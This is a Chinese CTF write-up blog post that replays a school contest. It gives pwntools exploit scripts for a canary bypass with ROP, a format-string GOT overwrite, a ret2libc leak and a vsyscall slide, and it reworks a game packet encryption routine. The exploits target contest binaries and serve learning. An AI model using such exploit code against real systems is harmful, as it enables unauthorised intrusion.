请注意,本文编写于 1573 天前,最后修改于 1568 天前,其中某些信息可能已经过时。
咕咕了则么久,今天终于开始打算着手复现这次校赛的部分题目了。大体的计划应该就是全部的PWN题在加上师傅的赛尔号封包吧。昨天去了子洋师傅那里,完整的吧程序逻辑过了一遍,主题逻辑已经掌握了,之后应该就是复现了。这次的PWN题,主要是楠姐打的,我并么没有帮上什么忙,但是我明显发现我的PWN基础太差了。所以借着这次比赛的契机,准备好好的将里面的知识点与脚本好好的过一遍。整理一下思路,准备下次再战。
本题考到了一个栈保护机制,和一个小坑。canary的绕过十分的简单,通过IDA我们可知buf的栈空间为0x40,最后0x8位是canary。所以我们可以添入0x38*‘A’完成泄露。初代脚本:
from pwn import *
p=process('./canary')
#p=remote('202.119.201.197','10004')
system=0x400726
payload='a'*0x38
p.recvuntil("Let's pwn it!")
p.sendline(payload)
p.recvuntil('a'*0x38)
canary=u64(p.recv(8))-0xa
print "canary"+hex(canary)
payload2='a'*0x38+p64(canary)+'a'*8+p64(system)
p.send(payload2)
p.interactive()
但是这里面有一个小坑,就是这里:
这里很明显已经绕过了canary保护,但是由于system里面并不是sh,所以导致没有控制主机权限。不怕师傅们笑话,我的一开始的想法是shellcode,因为我看见程序并没有开启NX保护。但是我忽略了一个最严重的问题,虽然每次在gdb中调试的时候,栈地址是不发生改变的,但是每次程序的栈是会改变的,所以shellcode在没有泄露栈基址的情况下,是根本打不进去的。太菜了,丢人!
当时下午也尝试了通过寄存器,将sh弹入寄存器进行调用,师傅们猜猜我为啥没打通,太TMD菜了。system的地址我居然用的是getshell里面的system的地址!!不是plt表中的地址!!所以没有打穿,菜的真实!附上正确脚本:
from pwn import *
p=process('./canary')
#p=remote('202.119.201.197','10004')
system=0x400726
getshell = 0x4005F0
strsh = 0x400904
poprdi = 0x4008e3
payload='a'*0x38
p.recvuntil("Let's pwn it!")
p.sendline(payload)
p.recvuntil('a'*0x38)
canary=u64(p.recv(8))-0xa
print "canary"+hex(canary)
#payload2='a'*0x38+p64(canary)+'a'*8+p64(system)
payload2 = 'b'*0x38+p64(canary)+'b'*8+ p64(poprdi) + p64(strsh) + p64(getshell)
p.send(payload2)
p.interactive()
比赛没有做这道题目,赛后来一个小复现。一道格式化字符串的漏洞,由于不是FULL RELRO,所以导致GOT表可以被修改,这里用两种方法复现一下本题,首先是非预期修改got表的方法。
我们可以通过Printf完成修改,第二次got调用的时候直接完成执行。
这里给我自己一个小hit:
一个pwn自带的函数:fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。(太香了)
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式。
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
以后找got表的时候可不可以不要再IDA里面直接找了!!!每次都搞错:get_got = elf.got['gets']他不香嘛
exp:
from pwn import *
#p=remote('202.119.201.197','10006')
context.log_level="debug"
p=process('./fmstr')
elf=ELF('./fmstr')
backdoor=0x0804857D
p.recvuntil("what's your name:")
get_got = elf.got['gets']
print get_got
payload=fmtstr_payload(8,{get_got:backdoor})
p.sendline(payload)
p.interactive()
预期解:通过泄露相关数据绕过保护(哇,有点帅)
首先我们先来gdb调试一下程序,观察函数结尾的操作:
所以在我们覆盖栈,完成溢出的时候必需保证ebp中的值不能发生改变,原理有一点像canary(但是这里是因为多了这一条指令导致函数返回的时候栈顶发生变化)。首先我们要使用格式化字符串漏洞泄露相关ebp-4中的值。
既然是使用格式化字符串漏洞,所以我们就要算出来偏移,才可以泄露我们想要的值。
先贴上这个,方便查阅:
然后就是payload,我们直接看IDA的栈:很明显是0x24的垃圾位置+0x4的ebp
但是这里需要注意以下的是返回的地址并不是直接紧挨这的ebp的,这里我们就要gdb调试一下:
无GDB,无PWN。
exp:
#!/usr/bin/python
#coding=utf-8
from pwn import *
context.log_level = 'debug'
io = remote('202.119.201.197','10006')
elf = ELF('./fmstr')
io.recvuntil('your name:\n')
payload = 'aaaa%13$x'
io.sendline(payload)
io.recvuntil('aaaa')
ecx = io.recv(8)
print ecx
ecx = int(ecx,16)
payload = 'A'*0x24+p32(ecx)+'A'*0x14+p32(0x0804857D)
io.sendlineafter('he problem ! ',payload)
io.interactive()
经典ROP模板题,但是没有libc。这里比赛的时候我使用的是LibcSearcher找到的是:
archive-glibc (id libc6_2.23-0ubuntu3_i386) be choosed.
没打穿,这里先留空,抽空去烦一下师傅们:
官方exp:
from pwn import *
elf=ELF('./babyrop')
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
#p = elf.process()
p = remote('202.119.201.197',10001)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil("say:")
payload=0x6c*'a'+'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4
)
p.sendline(payload)
write_got_addr=u32(p.recv(4))
print hex(write_got_addr)
libc_base=write_got_addr-libc.sym['write']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base + 0x15910b
payload2=0x6c*'a'+p32(0)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.recvuntil("say:")
p.sendline(payload2)
p.interactive()
这题我看完官方题解我还是不太会,直到看了PWN爷爷和子洋师傅的复现,我才明白大概的原理。“弟弟我会了!”发出了开心的大叫。我们来从头复现一下这道题目:
首先观察一下,发现程序保护全开,并且system是在溢出上方的,并且判断生成的就是一个随机数,没有种子。这就意味着rand无法改变,NX保护拉满,shellcode也不好使。还有随机地址的保护,完全没有头绪。
我们首先观察一下IDA与GDB在返回时的状态:
我们发现IDA中只能看见偏移,在GDB中每次的基址也是不一样的。但是由于system函数调用与main函数在同一个函数中,所以他们之间的偏移是一定的。
所以只要我们能那到基址,我们就可以确定我们要跳转的位置了。但是栈中有没有我们想要的东西呢,答案是有的。
这里我们就找到了a80的偏移在栈中,所以我们就可以修改偏移,得到我们想要的地址了。但是函数在ret就返回了,根本不可能执行到这个地方,这里就要用到新知识了,Vsyscall----滑动绕过。就硬划,划着划着就到了。具体的原理网上很多,概括来说就是很多的ret,将栈中的无用地址给他滑走,直至到达我们想要的地址。
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p=process('./backdoor_again')
#p = remote('202.119.201.197',10003)
elf=ELF('backdoor_again')
sleep(5)
payload = 'B'*0x38+p64(0xFFFFFFFFFF600400)*4+'\xa8'
p.send(payload)
gdb.attach(p)
#pause()
p.interactive()
但是查资料的时候,他们说这个玩意好像很多系统的Vsyscall已经被阉割了,鬼知道呢。
没研究明白留空
终于开始复现这道题目了,比完赛就和师傅来了一波深度交流,但是今天才开始着手复现。逻辑自己可能也忘得差不多了,所以在认认真真的从头来一遍。子洋师傅的本意应该是让我们学习一波易语言,使用源代码中的加密函数,完成封包的加密。但是易语言真的有一点难懂,更别说完成程序的更改利用用了。网上的教程又少的可怜,不清楚的要死。所以这里我们只来复现一下这里的逻辑即可。
一开始的封包构建,这里就不多说了,很简单,就是序列号的地方有亿点难懂(噶油),原始未加密的封包是这个样子的:
00 00 00 1F 31 00 00 08 36 29 75 C9 B0 00 00 02 AA 00 00 00 00 00 00 00 06 69 79 7A 79 69 1E
这里是明文。
emmmmmmmmm,这里距离上面已经过去了一下午,我终于把这道题目复现完了。真实版,一杯茶,一首歌,一道re玩一天。感觉子洋师傅已经给我了一份正确答案,然后我抄了一下午,才抄了60分。下面我们来看看如何将明文转化为密文:
一共分四个步骤:
首先拍到我们脸上的是,通讯密钥到底怎么用。首先我们先来观察一下密钥"928e89237f",然后我们再来看看程序里面是咋说的:
嗯,这也太简单了,8位对应的是两位十六进制,所以我们的key应该两位两位用,五次一循环。对的,我也是这么想的,然后我就系内了。也不知道是巧合还是子洋师傅故意的,题目给的密钥居然真的就在0~F之间,把我安排的明明白白的。直到我在不停的调试程序的时候,发现为啥KEY加密没有用到密钥的任何一位呢?最后才发现,人家密钥是ord(字符),所以真正的密钥应该是十位,每一个字符正好占八位。
刺不刺激,这里稍微说一下我易语言调试的方法。易语言调试和VS很想我们只需要打上断点就可以将程序断下来了,并且在断点模式下,可以看见全局变量,与局部变量,还是不错的。其次就是可以在关键的地方,使用调试输出的方法,获得每个小段加密(解密后)的字符集。这个是个例子,和我获得的调试数据。
调试输出 (“这里是密钥处理之后的” + 字节集查看 (data_En))
“这里是原始数据0000001F310000083637434E890000020D000000000000000669797A796930”
* “这里准备加密时的数据310000083637434E890000020D000000000000000669797A79693000”
* 86027328
* “这里是密钥处理之后的00623530030F267BEC3631336F35383538653565305848184C510500”
* “这里是二次处理后的数据0340AC0666E0C1648FDD2666E6AD06A706A7ACA60C060B098329AA00”
* “这里修复之后的A7ACA60C060B098329AA000340AC0666E0C1648FDD2666E6AD06A706”
之后就是不停的测试,测试。之后就是本加密的另一个坑,就是,密钥的使用。KEY会在每次用到0号位置时,重复使用一遍0号位置。
如:0,1,2,3,4,5,6,7,8,9,0,0,1,2,3,4,5,6.......
之后我们就完成了第一部分的加密,将程序输出与我们的调试输出比对一下,完美!
本轮加密紧跟着KEY的异或加密,主要就是一个两位之间or一下,循环一遍即可。唯一的坑点就是每次无论时左移还是右移,运算结果始终只有八位,多余的就直接舍去。之前就因为没有舍去高位,导致加密结果边长了好多好多。这里附上两次结束后的py脚本,为啥只有两次,因为数据修复我直接在手操,根本没有脚本。注释掉的不重要,主要就是一些测试数据。
def keyXOR(DATA):
keyuse=['9','2','8','e','8','9','2','3','7','f']
#928e89237f
#keyuse=[0x92,0x8e,0x89,0x23,0x7f]
#keyuse=[0x1e,0x02,0x8c,0x97,0xde]
#keyuse=['3','2','0','2','c','a','8','a','7','6']
H=[]
U=1
num=0
for i in DATA[:-1]:
if (num%10)!=0 or U:
H.append(i^ord(keyuse[num%10]))
num=num+1
U=0
else:
H.append(i^ord(keyuse[0]))
U=1
H.append(0)
return H
def getli8(A):
return A&0xFF
def Encrypt_c1(DATA1):
DATA1=DATA1[::-1]
DATA3=[]
for i in range(0,len(DATA1)-1):
DATA3.append(getli8(DATA1[i])|(getli8(DATA1[i+1])>>3))
DATA1[i+1]=(getli8(DATA1[i+1])<<5)
DATA3.append(getli8(DATA1[len(DATA1)-1])|3)
return DATA3[::-1]
if __name__ == "__main__":
A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x29,0x75,0xC9,0xB0,0x00,0x00,0x02,0xAA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x1E]
#key=0x928e89237f
#A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x37,0x43,0x4E,0x89,0x00,0x00,0x02,0xEF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x30]
#key=0xf3c2d0e95d
#A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x37,0x43,0x4E,0x89,0x00,0x00,0x02,0x72,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x30]
#print(len(A))
B=A[4:]#将头部裁掉
#print(A)
#print(B)
#for i in B:
# print(hex(i),end=" ")
B.append(0x00)#在结尾处补0
#print(B)
#print()
#for i in B:
# print(hex(i),end=" ")
#print()
P=keyXOR(B)#密钥异或
#print(P)
for i in P:
print(hex(i),end=" ")
print()
DATA2=Encrypt_c1(P)
#print(DATA2)
for i in DATA2:
print(hex(i),end=" ")
这里差点把我整哭了,好一个数据修复,修的乱七八糟的!这里的数据修复还要用上我们的密钥。大概逻辑是这样的:
将加密长度补回去,不够长度直接补零。至此加密结束。。
全部评论 (共 8 条评论)